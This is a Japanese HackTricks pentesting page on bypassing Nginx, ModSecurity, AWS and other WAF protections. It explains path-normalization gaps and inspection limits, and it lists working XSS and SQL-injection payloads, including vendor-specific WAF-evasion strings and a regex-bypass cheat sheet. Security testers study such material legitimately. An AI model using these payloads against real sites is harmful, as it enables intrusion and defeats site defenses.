Proxy / WAF 保護のバイパス
Reading time: 17 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Pathname Manipulation による Nginx ACL ルールのバイパス
Nginx ルールの例:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
バイパスを防ぐため、Nginx はチェックの前にパスの正規化を行います。しかし、バックエンドサーバが異なる正規化(nginx が削除しない文字を削除するなど)を行う場合、この防御を回避できる可能性があります。
NodeJS - Express
Nginx バージョン | Node.js バイパス文字 |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx バージョン | Flask バイパス文字 |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx バージョン | Spring Boot バイパス文字 |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Nginx FPM 設定:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx は /admin.php
へのアクセスをブロックするように設定されていますが、/admin.php/index.php
にアクセスすることでこれを回避できる場合があります。
対策
location ~* ^/admin {
deny all;
}
Mod Security のルールのバイパス
パス混同
In this post では ModSecurity v3(3.0.12 まで)が、アクセスされたパス(パラメータ開始まで)を含むはずの REQUEST_FILENAME
変数を 不適切に実装していた と説明されています。これはパスを取得するために URL デコードを行っていたためです。
そのため、http://example.com/foo%3f';alert(1);foo=
のようなリクエストは ModSecurity 上では %3f
が ?
に変換されて URL パスの終端と判断され、パスが /foo
と見なされますが、実際にサーバーが受け取るパスは /foo%3f';alert(1);foo=
になります。
REQUEST_BASENAME
と PATH_INFO
の変数もこのバグの影響を受けていました。
同様の問題は Mod Security のバージョン2でも発生しており、バックアップファイル(例: .bak
)に関連する特定の拡張子を持つファイルへのアクセスを防ぐ保護を、ドットを %2e
で URL エンコードして送るだけで回避できました。例えば: https://example.com/backup%2ebak
。
AWS WAF ACL のバイパス
不正なヘッダー
This research では、AWS が正しくパースしないがバックエンドサーバーはパースする「malformed」ヘッダーを送ることで、HTTP headers に適用された AWS WAF ルールをバイパスできたと述べられています。
例えば、ヘッダー X-Query に SQL injection を含む次のリクエストを送ると:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
一般的な WAF bypasses
リクエストサイズの制限
一般的に、WAF は検査するリクエストの長さに上限があり、POST/PUT/PATCH リクエストがその上限を超えると、WAF はリクエストを検査しません。
- For AWS WAF, you can check the documentation:
Application Load Balancer と AWS AppSync の保護に対して検査できる Web リクエストボディの最大サイズ | 8 KB |
CloudFront、API Gateway、Amazon Cognito、App Runner、および Verified Access の保護に対して検査できる Web リクエストボディの最大サイズ** | 64 KB |
- From Azure docs:
Core Rule Set 3.1(またはそれ以下)の古い Web Application Firewalls は、リクエストボディ検査をオフにすることで 128 KB を超えるメッセージを許容しますが、これらのメッセージは脆弱性のチェック対象にはなりません。新しいバージョン(Core Rule Set 3.2 以降)では、最大リクエストボディ制限を無効にすることで同様のことが可能です。リクエストがサイズ制限を超えた場合:
If prevention mode: ログに記録してリクエストをブロックします.
If detection mode: 指定上限まで検査し、残りは無視し、Content-Length
が上限を超える場合にログを記録します。
- From Akamai:
デフォルトでは、WAF はリクエストの最初の 8KB のみを検査します。Advanced Metadata を追加することで、上限を 128KB まで増やすことができます。
- From Cloudflare:
最大 128KB。
静的アセットの検査のギャップ (.js GETs)
一部の CDN/WAF スタックは、静的アセット(例:.js
で終わるパス)への GET リクエストに対して弱い、またはまったくコンテンツ検査を行わないことがありますが、rate limiting や IP reputation のようなグローバルルールは適用されます。静的拡張子の自動キャッシュと組み合わせると、これを悪用して後続の HTML レスポンスに影響を与える悪意あるバリアントを配信・注入することが可能です。
実用的なユースケース:
- コンテンツ検査を回避するために、
.js
パスへの GET で信頼できないヘッダ(例:User-Agent
)にペイロードを送信し、直ちにメインの HTML をリクエストしてキャッシュされたバリアントに影響を与える。 - 新しい/クリーンな IP を使用する。IP がフラグ付けされると、ルーティングの変更によりこの手法が信頼できなくなる場合がある。
- Burp Repeater では、"Send group in parallel"(シングルパケットスタイル)を使って、同じフロントエンド経路に対して
.js
と HTML の 2 つのリクエストをレースさせる。
This pairs well with header-reflection cache poisoning. See:
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode 互換性
Unicode 正規化の実装によっては (more info here), Unicode 互換性を共有する文字が WAF をバイパスし、意図した payload として実行される可能性があります。互換性のある文字は here で見つけることができます。
例
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
コンテキスト型 WAF をエンコーディングで回避
前述の this blog post によれば、ユーザ入力のコンテキストを保持するタイプの WAF を回避するために、WAF がユーザ入力を正規化する挙動を悪用することができます。
例えば、記事では Akamai がユーザ入力を10回 URL decoded していた と記載されています。したがって <input/%2525252525252525253e/onfocus
のような文字列は Akamai では <input/>/onfocus
と見なされ(タグが閉じられているため問題ないと判断される可能性があります)、一方でアプリケーション側が10回 URL decode を行わない場合、被害者のブラウザには <input/%25252525252525253e/onfocus
のように表示され、これは 依然として XSS 攻撃に有効 です。
このため、WAF はデコードして解釈するが被害者は解釈しないような、「エンコードされたコンポーネントにペイロードを隠す」ことが可能になります。
また、これは URL エンコードだけでなく unicode、hex、octal といった他のエンコーディングでも行えます。
記事では最終的なバイパス例として以下が提示されています:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
また、WAF がユーザ入力の「コンテキスト」をどのように解釈するかによっては、それを悪用できる場合があると述べられています。ブログの例では Akamai が /*
と */
の間に何でも置ける(おそらくコメントとして扱うため一般的にそうしている)ため、/*'or sleep(5)-- -*/
のような SQLinjection が検知されずに有効になってしまう、というものがあります(/*
がインジェクションの開始文字列で、*/
がコメント扱いになるため)。
この種のコンテキストに関する問題は、WAF が想定しているものとは別の脆弱性(例: XSS)を悪用するためにも使えます。
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: API gateway URL を生成して ffuf と併用するためのツール
- https://github.com/rootcathacking/catspin: fireprox と類似
- https://github.com/PortSwigger/ip-rotate: API gateway IP を利用する Burp Suite プラグイン
- https://github.com/fyoorer/ShadowClone: 入力ファイルのサイズと分割係数に応じて動的にコンテナインスタンス数を起動し、入力をチャンクに分割して並列実行する(例: 10,000 行の入力ファイルを分割係数 100 行で分割し、100 チャンクを 100 インスタンスで処理する)
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
regex フィルタを回避するために様々な手法が使えます。例としては大文字小文字を交互にする、改行を挿入する、ペイロードをエンコードする、などがあります。各種バイパスのリソースは PayloadsAllTheThings や OWASP にあります。以下の例は this article から引用しています。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
ツール
- nowafpls: リクエストに不要なデータを追加して長さでWAFsをバイパスするためのBurpプラグイン
参考資料
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。